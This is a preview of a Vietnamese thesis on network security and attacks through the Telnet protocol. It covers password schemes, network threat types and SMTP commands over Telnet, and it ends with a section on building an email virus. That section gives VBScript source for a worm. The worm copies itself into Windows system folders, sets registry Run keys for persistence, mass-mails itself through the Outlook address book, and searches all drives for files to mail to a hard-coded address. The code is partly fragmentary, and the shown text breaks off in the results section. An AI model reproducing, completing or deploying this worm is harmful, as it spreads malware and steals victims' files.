Việc nghiên cứu vấn đề an ninh an toàn cho mạng máy tính là một ván đề
lớn và khó, vì vậy trong phạm vi khoá luận em chỉ đưa ra cái nhìn tổng quan và
giải pháp cơ bản cho vấn đề. Nội dung chính của khoá luận là phần giới thiệu
tổng quan về mạng Internet và cơ chế hoạt động của giao thức Telnet với mục
đích phân tích các nguy cơ tiềm ẩn mà kẻ tấn công có thể lợi dụng để xâm nhập
hệ thống mạng nói chung và qua giao thức Telnet nói riêng, đồng thời đưa ra
một số chương trình ví dụ về tấn công trên mạng qua giao thức Telnet. Trên cơ
sở phân tích những nguy cơ tiềm ẩn với hệ thống mạng em đã nghiên cứu một số
cơ sỏ, giải pháp đảm bảo an ninh cho mạng.
76 trang |
Chia sẻ: lylyngoc | Lượt xem: 3104 | Lượt tải: 2
Bạn đang xem trước 20 trang tài liệu Luận văn Nghiên cứu và xây dựng một vài chương trình tấn công trên mạng Internet qua giao thức Telnet, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
thì họ sẽ phải chịu trách nhiệm về việc dùng tài
khoản của mình. Đôi khi, người dùng có thể phá vỡ quy tắc chia sẻ để giúp bạn
bè hay để làm hỏng "sổ sách", và hậu quả là hệ thống bị truy cập bởi những
người không được uỷ quyền và rất có thể gây hại cho hệ thống.
Mật khẩu có thể là do hệ thống (máy) sinh ra hoặc do người dùng lựa chọn
lấy. Các mật khẩu do máy sinh ra có thể rất khó nhớ nên người sử dụng rất hay
ghi chúng ra đâu đó (như thế cũng có nghĩa là mất an toàn). Nhưng nếu là mật
khẩu do người dùng chọn thì lại thường dễ đoán. Trong một số hệ thống, người
quản trị đôi khi kiểm tra mật khẩu của người sử dụng và nhắc nhở họ nếu mật
- 40 -
khẩu là quá ngắn hay quá dễ đoán. Một số hệ thống khác lại tính "tuổi thọ" của
mật khẩu, buộc người sử dụng thay đổi mật khẩu của họ sau những khoảng thời
gian nhất định (3 tháng 1 lần chẳng hạn). Cách này không dễ thực hiện vì người
sử dụng rất có thể lẫn giữa 2 mật khẩu. Tuy nhiên, có thể giải quyết bằng cách
lưu lại quá trình sử dụng của mật khẩu như đã làm ở một số hệ thống: n mật khẩu
sử dụng gần đây nhất sẽ không được dùng lại chẳng hạn.
2.3.4.3 Mật khẩu được mã hoá
Vấn đề khó khăn với tất cả các cách làm trên là việc giữ bí mật mật khẩu
như thế nào. Hệ thống UNIX sử dụng biện pháp mã hoá để giữ bí mật danh sách
mật khẩu của nó. Mỗi người dùng có một mật khẩu. Hệ thống sử dụng một hàm
dễ tính toán (xuôi chiều) nhưng việc tính hàm ngược lại thì cực kì khó (và nhà
thiết kế thì hy vọng là không thể được). Tức là, với một giá trị x cho trước thì
tính f(x) là dễ dàng nhưng với giá trị f(x) cho trước thì không thể tìm ra được x.
Hàm này sẽ mã hoá tất cả các mật khẩu, và hệ thống chỉ lưu những mật khẩu đã
được mã hoá. Khi người sử dụng nhập mật khẩu thì mật khẩu này sẽ được mã
hoá, sau đó đem so sánh với mật khẩu lưu trong máy. Như vậy, ngay cả khi mật
khẩu (đã được mã hoá) bị nhìn thấy thì mật khẩu gốc cũng không bị lộ (do không
giải mã được mật khẩu mã hoá). Vì thế, file lưu mật khẩu cũng không phải giữ bí
mật; Hàm f(x) nói trên thường là một giải thuật mã hoá đã được thiết kế và chạy
thử nghiệm rất cẩn thận .
Điểm yếu trong phương pháp này là ở chỗ hệ thống không còn điều khiển
trên các mật khẩu nữa. Tức là, mặc dù mật khẩu đã được mã hoá nhưng một
người nào đó với bản sao của file mật khẩu trong tay vẫn có thể chạy các tiểu
trình mã hoá rất nhanh, để mã từng từ trong từ điển chẳng hạn, rồi so sánh kết
quả với những mật khẩu đã mã hoá có trong file mật khẩu. Và như vậy, nếu
người sử dụng chọn mật khẩu là từ nào đó trong từ điển thì nó đã bị phá (crack).
- 41 -
Với những máy tính đủ nhanh, những phép so sánh như thế chỉ mất vài giờ đồng
hồ. Cho dù các hệ thống UNIX thường sử dụng các giải thuật mã hoá nổi tiếng là
khó phá thì một tin tặc (hacker) cũng có thể có được một vùng đệm các cặp "mật
khẩu - mã" để tìm nhanh các mật khẩu đã từng bị crack trước đó. Vì lý do này,
những phiên bản UNIX mới đã dấu những file mật khẩu đi.
Một điểm yếu khác trong các phương pháp mật khẩu của UNIX là nhiều
hệ thống UNIX chỉ chú trọng đến 8 ký tự đầu tiên của mật khẩu, do đó tận dụng
không gian mật khẩu sẵn có là vô cùng quan trọng đối với người sử dụng. Để
tránh phương pháp mã hoá từ điển, một số hệ thống không cho phép người dùng
sử dụng những từ trong từ điển làm mật khẩu.
2.2.4.4 Mật khẩu một lần
Để tránh cho mật khẩu khỏi lộ vì bị "nhìn trộm" (shoulder surfing) hay do
bị dò trộm bằng điện tử (sniffing), người ta dùng tập các mật khẩu cặp đôi. Khi
bắt đầu phiên làm việc, hệ thống sẽ đưa ra phần nửa đầu của mật khẩu, người sử
dụng phải cung cấp phần còn lại. Trong quy trình này, hệ thống đưa ra 1 lời hô
(ám hiệu) và người sử dụng phải đáp lại bằng câu trả lời chính xác.
Cách làm này có thể xem như là việc dùng 1 thuật giải làm mật khẩu. Giải
thuật ở đây có thể là một hàm nguyên chẳng hạn. Hệ thống sẽ chọn và đưa ra cho
người sử dụng 1 số nguyên ngẫu nhiên. Người dùng sẽ áp dụng hàm vào và trả
lại kết quả đúng. Hệ thống cũng áp dụng hàm đó và nếu 2 kết quả phù hợp nhau
thì truy cập được cho phép.
Ngoài ra, một phương pháp mật khẩu khác cũng rất khó phá, chẳng hạn
khi người dùng gõ vào một mật khẩu nhưng bất kỳ hành động nào nhằm chen
ngang và có ý định sử dụng lại mật khẩu đó đều không thành công. Hệ thống
như vậy sử dụng những mật khẩu thuật toán. Trong hệ này, người sử dụng và hệ
thống có chung một điều bí mật. Bí mật này không bao giờ bị truyền trên các
- 42 -
phương tiện có thể dẫn đến lộ. Thay vào đó, nó được dùng cùng với một "nhân"
dùng chung làm đầu vào cho hàm tính toán f(secret,seed). "Nhân" ở đây là một
số ngẫu nhiên hay một dãy chữ và số, nó chính là phần lời "hô" từ phía hệ thống
trong phiên xác thực. Kết quả tính toán của hàm được truyền như một mật khẩu
tới máy trạm. Vì máy trạm cũng biết phần bí mật và nhân nên nó cũng có thể
thực hiện được tính toán tương tự như thế. Nếu các kết quả phù hợp nhau, người
sử dụng đã được chứng thực. Trong phiên xác thực sau, một nhân khác được tạo
ra và các bước làm tương tự như trên, tuy nhiên mật khẩu lần này đã khác. Chính
vì mật khẩu khác nhau trong từng trường hợp nên nếu ai đó có chặn bắt được
mật khẩu trong phiên làm việc này và định sử dụng nó cho phiên làm việc sau tất
nhiên sẽ thất bại.
Như vậy, mật khẩu một lần ngăn chặn được sự chứng thực không chính
xác do lộ mật khẩu. Một biến thể khác của mật khẩu một lần là việc sử dụng sách
mã, hay bộ đệm một lần: danh sách các mật khẩu chỉ dùng 1 lần. Mỗi mật khẩu
trong danh sách theo thứ tự sau khi dùng sẽ bị gạch đi hay bị xoá. Hệ thống
S/Key thông dụng dùng các phần mềm tính toán hay các sách mã dựa trên kết
quả của những tính toán này làm nguồn các mật khẩu một lần.
- 43 -
- 44 -
CHƯƠNG III
XÂY DỰNG MỘT SỐ CHƯƠNG TRÌNH TẤN CÔNG TRÊN MẠNG
QUA GIAO THỨC TELNET
3.1 Những nguy cơ gây mất an ninh trên mạng
Internet cung cấp rất nhiều kỹ thuật để người dùng có thể truy nhập, khai
thác, chia xẻ thông tin. Tuy nhiên, đây cũng chính là nguy cơ dẫn đến thông tin
của bạn có thể bị hư hỏng hoặc phá huỷ hoàn toàn. Theo thống kê cho thấy
những vụ tấn công trên mạng nhằm vào tất cả máy tính có mặt trên Internet. Tất
cả máy tính của các trường đại học, các công ty, tổ chức quân sự, nhà băng…
trong số đó có một số vụ tấn công có quy mô khổng lồ (có tới 100.000 máy tính
bị tấn công). Không chỉ số lượng các vụ tấn công tăng lên một cách nhanh chóng
mà các phương pháp tấn công cũng ngày càng được hoàn thiện. Các phương
pháp tấn công chủ yếu là đoán tên người sử dụng-mật khẩu (User-password)
hoặc sử dụng một số lỗi của các chương trình và hệ điều hành (Security hole)
làm vô hiệu hoá hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần
đây bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền
qua mạng, chiếm các phiên làm việc từ xa(Telnet hoặc Rlogin).
Muốn bảo vệ một mạng, dịch vụ khỏi những kẻ xâm nhập, ta hãy tìm hiểu
những nguyên nhân dẫn đến mất an toàn mạng máy tính.
- Sự dùng chung: Chính vì sự chia xẻ tài nguyên và các khối lượng công
việc trên mạng đã làm tăng số người sử dụng có khả năng truy cập tới các hệ
thống được nối mạng, việc bảo vệ các tài nguyên đó tất nhiên sẽ phức tạp hơn
nhiều so với trường hợp một máy tính đơn lẻ, một người sử dụng.
- Sự phức tạp của hệ thống: Có thể có nhiều hệ điều hành khác nhau trên
mỗi mạng, mỗi hệ điều hành lại là một phần mềm rất tinh vi và trên đó lại cài đặt
rất nhiều phần mềm khác nhau. Do đó, một hệ điều hành mạng sẽ phức tạp hơn
- 45 -
nhiều so với hệ điều hành cho từng hệ thống đơn lẻ. Vì vậy, khó mà tin cậy được
vào sự an toàn của một mạng nếu không có một hệ điều hành mạng lớn, được
thiết kế đặc biệt cho vấn đề an ninh.
- Có quá nhiều mục tiêu tấn công: Khi một file được lưu trữ trong một
host ở xa người sử dụng nó phải qua rất nhiều host khác mới có thể sử dụng
được file đó. Mặc dù người quản trị của một host đó có thể thi hành nhiều chính
sách an ninh thật chặt chẽ nhưng người đó không thể làm gì khác với các host
khác trong mạng. Người sử dụng phải phụ thuộc vào các cơ chế điều khiển truy
cập của tất cả các hệ thống này.
- Sự nặc danh: Một kẻ tấn công có thể tác động vào một hệ thống từ cách
xa hàng ngàn km mà có thể không bao giờ phải tiếp xúc tận nơi hệ thống cần tấn
công cũng như không cần phải tiếp xúc với bất cứ người quản trị hay người sử
dụng hệ thống đó. Sự tấn công đó có thể thực hiện thông qua nhiều host khác
nhằm ngụy trang nguồn gốc của nó.
- Không xác định được đường dẫn: Có thể có nhiều đường dẫn từ host này
sang host khác và người sử dụng hầu như không biết và không điều khiển được
sự dẫn đường cho các thông điệp của họ.
3.2 Phân tích các nguy cơ gây mất an ninh trên mạng đối với giao thức
Telnet
Như rất nhiều dịch vụ khác trên mạng máy tính (FTP, DNS, Mail,
Web…) thì Telnet cũng là một dịch vụ trên mạng máy tính cung cấp thông tin
cho người sử dụng. Chính vì thế, tất cả các nguy cơ trên mạng máy tính nói
chung cũng là nguy cơ đối với dịch vụ Telnet, đồng thời ngoài những nguy cơ
nói chung đối với mạng máy tính thì dịch vụ Telnet còn có những nguy cơ riêng
(vì nó có những đặc điểm riêng).
Việc phân tích các nguy cơ cần xác định một cách rõ ràng: cái gì cần bảo
vệ, bảo vệ từ đâu và bảo vệ nó như thế nào? Để làm được điều đó, ta cần phải
- 46 -
xem xét lại mọi nguy cơ và mức độ thiệt hại của từng loại nguy cơ đó. Điều này
sẽ giúp cho ta có được một giải pháp hữu hiệu trong vấn đề bảo vệ an toàn cho
mạng, cho các dịch vụ trên mạng.
Hai yếu tố chính cần xác định khi phân tích nguy cơ, đó là:
Xác định nguồn tài nguyên cần bảo vệ.
Xác định nguy cơ thất thoát thông tin.
3.2.1 Xác định nguồn tài nguyên cần bảo vệ
Khi phân tích các nguy cơ, một trong những bước quan trọng đó là phải
xác định xem cái gì cần bảo vệ. Để làm được việc này, trước hết phải lập một
danh sách những thiết bị và tài nguyên cần thiết phải áp dụng chính sách an ninh.
Danh sách này bao gồm:
- Phần cứng, phần mềm (các chương trình nguồn, các chương trình ứng
dụng, các chương trình Test, chuẩn đoán, hệ điều hành và các chương trình điều
khiển liên lạc…).
- Dữ liệu (trong quá trình xử lý, dữ liệu lưu trên mạng tạm thời, lưu lâu
dài, sao lưu, dữ liệu nhật ký, cơ sở dữ liệu hoặc dữ liệu chuyển tải thông qua các
thiết bị liên lạc…).
- Các tài liệu (chương trình, các thủ tục hướng dẫn quản trị hệ thống, quản
trị phần cứng).
3.2.2 Xác định các nguy cơ thất thoát thông tin
Mỗi loại tài nguyên khi mô tả phải kèm theo cả khả năng bị thất thoát
thông tin và các nguy cơ đối với loại tài nguyên đó. Điều này sẽ giúp ta xem xét,
đánh giá, lựa chọn các biện pháp và phương án bảo vệ tài nguyên đó.
Giao tiếp giữa Client và Server dựa trên bộ giao thức TCP/IP. Đây là giao
thức không an toàn bởi vì toàn bộ dữ liệu của quá trình giao tiếp giữa Client và
Server không được mã hóa.
- 47 -
Giả sử một người sử dụng tại trạm làm việc A muốn giao tiếp với người
sử dụng tại trạm làm việc B để sử dụng tài nguyên trên mạngcủa B hay của một
mạng LAN nào đó. Tất cả những nhu cầu đó đều rất chính đáng đối với một
người sử dụng trên mạng, nhưng bây giờ chúng ta hãy thử xem xét ở góc độ của
một người có ý đồ xấu đang làm việc tại trạm M nào đó trên mạng và xem xét
người đó có thể gây ra những hiệu ứng tiêu cực nào.
- Đọc trộm thông tin trao đổi giữa A và B: Sự tấn công này có thể thực
hiện từ bất cứ vị trí nào trên mạng.
- Sửa đổi thông tin trao đổi giữa A và B: Hành động này cũng có thể được
thực hiện tại mọi vị trí trên mạng.
- Giả mạo thông tin trao đổi giữa A và B: Điều này còn dễ hơn cả việc
sửa đổi thông tin vì sự giả mạo có thể thực hiện từ bất cứ nơi nào trên mạng và
không đòi hỏi phải chặn bắt thông tin lại để sửa đổi. Bởi vì A không thể tự tay
trao thông tin cho B và B cũng không có đủ cơ sở để kết luận rằng đó đúng là
thông tin do A gửi.
- Ngăn cản thông tin trao đổi giữa A và B: M có thể làm được điều này
bằng cách xâm nhập máy của A, B, hay xâm nhập Router giữa họ. M cũng có thể
phá vỡ sự giao tiếp chung bằng cách tấn công làm “ngập lụt”(Flooding attack) cả
mạng hay chỉ một đường truyền duy nhất trên mạng.
- Đọc dữ liệu tại trạm khác: M có thể mạo nhận là A để có thể có quyền
truy cập tại các trạm mà A có quyền truy cập. M cũng có thể tìm các máy có điều
khiển truy cập yếu hoặc không hoàn hảo để tấn công.
- Sửa đổi hoặc phá huỷ dữ liệu tại các trạm khác: M có thể mạo danh A để
làm tất cả những gì mà A có thể làm.
Tóm lại, các mối nguy cơ là:
- Nghe trộm đường truyền(Wiretaping).
- Giả mạo(Spoofing).
- 48 -
- Xâm phạm tính bí mật của thông điệp (message confidentially
violation).
- Xâm phạm tính toàn vẹn của thông điệp (message intergrity violation).
- Hacking.
- Vô hiệu hoá các dịch vụ (Denial of service).
- Các vấn đề về kết nối (Routing problems).
3.2.2.1 Nghe trộm đường truyền
Thuật ngữ “wiretap” có nghĩa là “chắn luồng giao tiếp” nhưng thực tế lại
không có hành động “chắn” nào xảy ra cả mà nó lại được thực hiện một cách bí
mật, sao cho cả người gửi và người nhận đều không biết giao tiếp của họ đang bị
can thiệp vào.
Có hai loại nghe trộm đường truyền: Loại “thụ động” chỉ nhằm mục tiêu
nắm bắt được thông tin đang trao đổi (có thể không nắm bắt được nội dung
nhưng có thể dò ra người gửi, người nhận nhờ vào thông tin điều khiển giao thức
chứa trong phần đầu gói tin), trong khi loại “chủ động” lại có mục đích làm thay
đổi nội dung đang trao đổi đó.
3.2.2.2 Giả mạo
Giả mạo là một cách để đạt được mục đích có được thông tin một cách
trực tiếp (không cần phải nghe trộm đường truyền mà vẫn có được thông tin
tương tự).
Kẻ giả mạo tấn công vào hệ thống có thể làm được những việc sau:
- Lấy các chi tiết từ phiên làm việc đó.
- Phá huỷ hoặc làm tê liệt cơ chế xác thực ở máy tính đích.
- Sử dụng một mục tiêu mà dữ liệu xác thực đã biết.
3.2.2.3 Xâm phạm tính bí mật của thông điệp
Cả hai cách tấn công trên đều dẫn tới sự xâm phạm tính bí mật của thông
điệp. Một số yếu tố khác cũng ảnh hưởng tới sự bí mật của thông điệp như sự
- 49 -
phân phát nhầm các thông điệp; vì những lỗi phần cứng hay phần mềm của
mạng; sự phân tích dòng thông tin lưu thông về sự tồn tại của các thông
điệp(nhiều khi điều này còn quan trọng hơn là nội dung của chính những thông
điệp đó) về kích thước, lưu lượng các thông điệp… Trong trường hợp này, chúng
ta cần phải bảo vệ cả nội dung thông điệp cũng như các thông tin xác định người
gửi, người nhận…
3.2.2.4 Xâm phạm tính toàn vẹn của thông điệp
Tính toàn vẹn của một thông điệp cũng không kém phần quan trọng so với
tính bí mật trong nhiều trường hợp.
Kẻ tấn công có thể làm những việc sau:
- Thay đổi thông điệp (một phần hay toàn bộ nội dung của một thông điệp;
sử dụng lại, đổi nguồn, định hướng lại thông điệp; xoá hay phá huỷ một thông
điệp). Nguồn gốc của loại tấn công là nghe trộm đường truyền “chủ động”, con
ngựa thành Tơ-roa, giả mạo,…
- Gây nhiễu tín hiệu đường truyền. Tuy nhiên, các giao thức truyền thông
hiện nay đều có cơ chế khắc phục hiện tượng nhiễu. Chẳng hạn như bộ giao thức
TCP/IP nếu lỗi truyền xảy ra thì có thể được phát hiện ngay và truyền lại.
3.2.2.5 Hacking
Hacking luôn là mối đe dọa thường trực trên mạng với nhiều hình thức tấn
công. Các Hacker có thể mạo danh để truy cập một host, sau đó sử dụng mối
quan hệ tin cậy giữa các host để thiết lập các phiên làm việc tiếp theo. Từ đây,
Hacker có thể gửi các thông báo sai lệch hoặc làm tê liệt các dịch vụ bằng cách
phát động tấn công làm ngập lụt cả mạng cục bộ…
3.2.2.6 Sự ngập lụt các dịch vụ
Một số kẻ phá hoại có thể tàn phá đường truyền thông trên mạng bằng
cách tạo ra những thông báo sai lệch nhằm mục đích tăng lượng giao thông trên
mạng, từ đó làm suy yếu, tê liệt các dịch vụ người dùng. Điều thách thức là ở
- 50 -
chỗ các kiểu tấn công này xuất phát từ tầng mạng, nơi các nhà phát triển ứng
dụng mạng có rất ít các công cụ để ngăn chặn các cuộc xâm nhập ngoài ý muốn.
Tấn công từ chối dịch vụ là hành động mà các tin tặc lợi dụng đặc điểm
hoặc lỗi an toàn thông tin của một hệ thống dịch vụ nhằm làm ngưng trệ hoặc
ngăn cản người dùng truy nhập dịch vụ đó. Thường thì tấn công từ chối dịch vụ
gây cho chương trình hoặc hệ thống bị đổ vỡ hoặc bị treo, tê liệt một phần hoặc
toàn bộ, buộc người quản trị hệ thống phải tạm ngừng cung cấp dịch vụ để sửa
lại hoặc khởi động lại hệ thống. Đặc điểm duy nhất của kiểu tấn công này là
không lấy mất thông tin hệ thống, nó thường chỉ gây cho hệ thống tê liệt, không
hoạt động được, đôi khi gây hỏng hóc hoặc phá hoại thông tin trên hệ thống.
3.2.2.7 Các vấn đề về kết nối
Muốn vô hiệu hoá mạng máy tính hoặc một dịch vụ nào đó kẻ tấn công có
thể tấn công vào bảng định tuyến (Router), vì sự thay đổi trong bảng này có thể
làm tê liệt tất cả các giao tiếp, một giao tiếp tới một trạm cụ thể, hoặc dẫn đường
cho giao tiếp đó tới kẻ tấn công để đọc, sửa đổi, phá hoại,…
Tấn công vào Router thường làm cho các gói tin không chuyển tiếp được
hoặc chuyển tiếp được nhưng không dễ dàng. Trong một số trường hợp có thể
dẫn đến mất cấu hình. Kiểu tấn công này gọi là tấn công ngập lụt(flood attack),
tức là router bị “dội bom” liên tục bằng các gói tin.
3.2.3 Truy nhập bất hợp pháp qua giao thức Telnet
Đây là nguy cơ xâm nhập mang tính phá hoại lớn nhất là kẻ xấu có được
quyền máy chủ Web hay máy chủ quản trị mạng nhất là đối với công tác của
ngành ta thì yêu cầu bảo mật thông tin luôn được đặt lên hàng đầu. Kẻ xâm nhập
cố gắng đoạt được tất cả các quyền (kể cả quyền cao nhất) để điều khiển toàn bộ
máy chủ. Hậu quả của sự sơ hở này là: “Người sử dụng từ xa có thể vận hành tất
cả các CGI Script, các đoạn mã thi hành như là người quản trị đang ngồi tại máy
chủ”. Đồng thời, từ xa kẻ tấn công có thể trực tiếp sửa đổi, sử dụng các CGI
- 51 -
Script, hoặc dùng một chương trình để sửa đổi các thông tin trên máy chủ, dẫn
đến sự sai lệch về nội dung, hình thức hoặc có thể phá huỷ toàn bộ tài nguyên
trên máy chủ.
Nguy cơ xâm nhập tiếp theo nằm trong các chương trình CGI Script, CGI
Script được sử dụng trong hầu hết các trang Web và cung cấp các phương tiện
cho người sử dụng truy cập từ xa vào máy chủ. Tuy nhiên, nguy cơ xâm nhập
này có thể hạn chế bằng một số hướng dẫn đơn giản sau:
Trước tiên, phải đảm bảo rằng máy chủ không được hoạt động với quyền
cao nhất. Sau đó, phải tập trung tất cả các Script vào một thư mục. Làm như vậy
giúp ta dễ dàng theo dõi các Script. Tiếp đó phải đảm bảo không tệp nào trong
cây thư mục CGI bị ghi đè. Nếu không, những kẻ xâm nhập có thể lợi dụng sơ
hở này để tạo và vận hành các Script của riêng họ.
Kẻ xâm nhập luôn tìm mọi cách để có thể lợi dụng sơ hở của người sử
dụng, lợi dụng sai sót hoặc những lỗ hổng của chương trình hoặc chính những
sai sót của Server để làm những việc bất hợp pháp. Do vậy, dù đã áp dụng rất
nhiều phương pháp, cách thức bảo vệ nhưng nguy cơ truy nhập từ xa bất hợp
pháp vẫn là một vấn đề phải đặt ra đối với bất cứ một tổ chức, công ty hay cơ
quan nào tham gia mạng Internet.
3.3. Một số chương trình tấn công qua giao thức Telnet
3.3.1 Chương trình tấn công qua thư điện tử (Email)
3.3.1.1 Gửi thư điện tử qua Telnet
Các Internet Mail Server cung cấp giao thức SMTP (Simple Mail Transfer
Protocol) cho phép bạn gửi Mail qua Server đó tại cổng 25 bằng cách thực hiện
câu lệnh:
Telnet.smtp.mail.yahoo.com 25
Một số lệnh cần dùng:
- USER : Tên người sử dụng để mở hộp thư.
- 52 -
- PASS : Mật khẩu để mở hộp thư.
- LIST: Liệt kê các Email có trong hộp thư.
- RETR: Xem nội dung thư có số thứ tự là Number.
- QUIT: Đóng Telnet Session.
- MAIL FROM: Địa chỉ Email của người gửi.
- RCPT TO: Địa chỉ Email của người nhận.
- DATA: Nhập nội dung Email, muốn kết thúc phải xuống dòng và nhập
dấu “.”.
- RSET: Xóa các thông tin lần gửi mới nhất, dùng khi bạn muốn gửi đến
người khác.
3.3.1.2 Kỹ thuật lây nhiễm qua thư điện tử
Cách tấn công phổ biến hiện nay là đính kèm Virus vào Email vì hầu hết
các ứng dụng có dịch vụ thư điện tử đều hỗ trợ chức năng gắn kèm các file vào
thư (attach files). Trong trường hợp cụ thể có thể tạo Virus ngay trong thư. Các
phần mềm nhận, gửi thư điện tử thường hỗ trợ hai kiểu: HTML và Plain Text.
Trong kiểu HTML cho phép sử dụng kiểu file .HTML có tính năng thi hành các
mã Script. Do đó, virus có khả năng thực hiện ngay cả khi người sử dụng đọc
Email (thậm chí ngay cả khi chưa mở thư) nếu không đặt chế độ cảnh báo với
các Active X.
Một số ứng dụng còn hỗ trợ khả năng thi hành các mã Script khi mở file
đính kèm. Trong một hệ gửi, nhận thư điện tử (email) thường được hỗ trợ khả
năng thi hành các mã Script. Như vậy, nếu trong một file đính kèm nào đó, bên
cạnh những mã Script thông thường có cả những mã Script của virus thì rõ ràng
là khi mở file đính kèm cũng sẽ là thời điểm virus được kích hoạt. Thông
thường, khi gửi từ một máy nào đó, trong thư đã được cập nhật địa chỉ của người
gửi là địa chỉ của người chủ sử dụng được lưu trữ trên máy đó. Như vậy, khi
người nhận thư xem phần thông tin địa chỉ người gửi cũng sẽ yên tâm, không
- 53 -
mấy nghi ngờ, vì có thể người gửi thư đã có một quan hệ quen biết từ trước đó.
Bên cạnh đó, những chủ đề, những tên File đính kèm có thể được đặt sao cho
khêu gợi sự tò mò của số đông người sử dụng máy tính.
3.3.1.3 Kỹ thuật phát tán thư trên mạng
Trong các ứng dụng Office, có thể tạo và gửi một bức thư điện tử trên cơ
sở sử dụng những hỗ trợ mà chương trình ứng dụng cung cấp. Một phương pháp
khác thường được sử dụng là khai thác các dịch vụ hỗ trợ của các chương trình
chuyên dụng như MicroSoft Outlook, Outlook Express... để soạn và gửi thư.
Virus tiến hành tạo một đối tượng ứng dụng (Application) của ứng dụng
hỗ trợ Email, sau đó sử dụng các phương thức, thuộc tính của đối tượng để tiến
hành tạo và gửi Email lên máy chủ. Đoạn mã sau đây minh hoạ cách khởi tạo đối
tượng Outlook của Microsoft Outlook:
Set Out=WScript.CreateObject("Outlook.Application")
Set mapi=Out.GetNameSpace("MAPI")
Sau khi khởi tạo được đối tượng Outlook.Application, virus có thể tiến
hành các thao tác soạn thư và gửi thư. So với các virus file, các virus macro có
nhiều thuận lợi hơn trong việc tìm địa chỉ trên máy tính, tạo và gửi thư. Các
chương trình như Microsoft Outlook, Outlook Express hay một số chương trình
hỗ trợ thư điện tử cho phép tạo lập các sổ địa chỉ, nhằm mục đích giúp người sử
dụng không phải nhớ hết các địa chỉ Email, cũng như cho phép có thể cùng lúc
gửi thư đến cho rất nhiều người. Dò theo sổ địa chỉ này mà virus có thể lây lan
khá nhanh trên mạng.
3.1.2.4 Kỹ thuật phá hoại
Một số dạng phá hoại của Virus có thể gặp:
- Virus bám theo thư điện tử có thể gây ra ách tắc, cản trở hoạt động trên
mạng. Việc phát tán thư - virus theo các địa chỉ trong các sổ địa chỉ làm cho việc
lây lan trở nên rất nhanh.
- 54 -
- Tạo các cổng nghe chờ đợi (Listen port) các lệnh chỉ thị cho virus tiến
hành các hoạt động phá hoại hay do thám: gửi các file nào đó, lấy trộm các mật
khẩu, khởi động lại hay thậm chí phá huỷ hệ thống.
- Tấn công theo phương pháp ngăn chặn dịch vụ (DOS - Denial of
Service): một virus tạo các kết nối tới một máy chủ HTTP/FTP nào đó và để
chúng mở. Nếu có nhiều người sử dụng bị lây nhiễm virus, số kết nối có thể vượt
quá số lượng tối đa mà máy chủ cung cấp. Virus cũng có thể liên tiếp gửi các
thông điệp đến máy chủ để gây quá tải hoạt động, gây ra những hậu quả nghiêm
trọng cho các giao dịch trên mạng và dữ liệu trên máy chủ.
- Cho phép các kết nối trên một cổng nào đó, sau đó định hướng lại đến
một máy/cổng khác.
- Tiến hành các hoạt động khác trên mạng, sử dụng địa chỉ của người
khác, thay vì sử dụng địa chỉ của người viết virus.
- Lấy cắp mật khẩu, acount của người dùng.
- Phá hỏng dữ liệu trên ổ cứng, phá hỏng hệ thống WEB trên mạng.
3.1.2.5 Chương trình đính kèm Email sử dụng VB Script
3.1.2.5.1 Mục đích của chương trình
Chương trình này áp dụng các kỹ thuật trên nhằm thực hiện những mục
đích sau:
- Tạo một virus đính kèm Email gửi cho người nhận.
- Copy Virus vào hệ thống, thi hành virus mỗi khi khởi động hệ thống.
- Lấy tài liệu của đối tượng trên hệ thống đó gửi về địa chỉ nhất định.
- Duyệt tìm các địa chỉ trong hộp thư người nhận và phát tán thư theo
các địa chỉ đó.
3.1.2.5.2 Mã nguồn chương trình
Khởi tạo các đối tượng
Const MailAddress = "trungkien@yahoo.com"
- 55 -
Dim fso, WinSystem, Windows, VirTxt, file, wscr
Set wscr = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullName, 1)
Lấy đường dẫn thư mục Windows, Windows/system
Set Windows = fso.GetSpecialFolder(0)
Set WinSystem = fso.GetSpecialFolder(1)
Copy Virus vào thư mục Windows, Windows/system
Set VirBody = fso.GetFile(WScript.ScriptFullName)
VirBody.copy(Windows&"\Win32.vbs")
VirBody.copy(WinSystem&"\system32.vbs")
Thủ tục thiết lập chế độ gửi thư ngay khi kết nối Modem
wscr.RegWrite
"HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Outlook\Option\Ma
il\Send Mail Immediately", 1, "REG_DWORD"
Thủ tục để virus hoạt động mỗi khi khởi động hệ thống
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
n\system32",WinSystem&"\system32.vbs"
'wscr.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
nServices\win32DLL",Windows&"\Win32.vbs"
Thủ tục phát tán thư trên mạng
Dim i, j, Mail, Add, AddBook, Flag, mapi, OutLook
Khởi tạo Microsoft Outlook
Set OutLook = WScript.CreateObject("Outlook.Application")
Set mapi = OutLook.GetNameSpace("MAPI")
Flag = 0
- 56 -
Set Mail = OutLook.CreateItem(0)
Duyệt từng địa chỉ trong sổ địa chỉ của Outlook Express
For i = 1 To mapi.AddressLists.Count
Set AddBook = mapi.AddressLists(i)
For j = 1 To AddBook.AddressEntries.Count
Add = AddBook.AddressEntries (j )
Mail.Recipients.Add (Add)
Flag = 1
Next
Next
Thủ tục lấy tài liệu từ máy khác gửi về địa chỉ nhất định
Tìm trong tất cả các ổ đĩa và các thư mục
Set folder = fso.GetFolder(folderspec)
If fso.FileExits(folder.Path & "\" & TargetFile) Then SendFile (folder.Path & "\"
& TargetFile)
Set SubFolders = folder.SubFolders
For Each FolderItem In SubFolders
SearchFile (FolderItem.Path)
Next
Set drivers = fso.Drives
For Each driver In drivers
If driver.DriveType = 2 Or driver.DriveType = 3 Then
SearchFile (driver.Path & "\")
End If
Next
Gửi dữ liệu về địa chỉ đã biết trước
Khởi tạo Microsoft Outlook
- 57 -
Set OutLook = WScript.CreateObject("Outlook.Application")
Set mapi = OutLook.GetNameSpace("MAPI")
Set Mail = OutLook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "…"
Mail.Body = "…"
Mail.Attachments.Add (filespac)
Mail.Send
Set OutLook = Nothing
Set mapi = Nothing
End Sub
3.1.2.5.3 Kết quả chạy chương trình
Khi chạy chương trình này thì Virus sẽ được Copy vào hệ thống, Virus sẽ
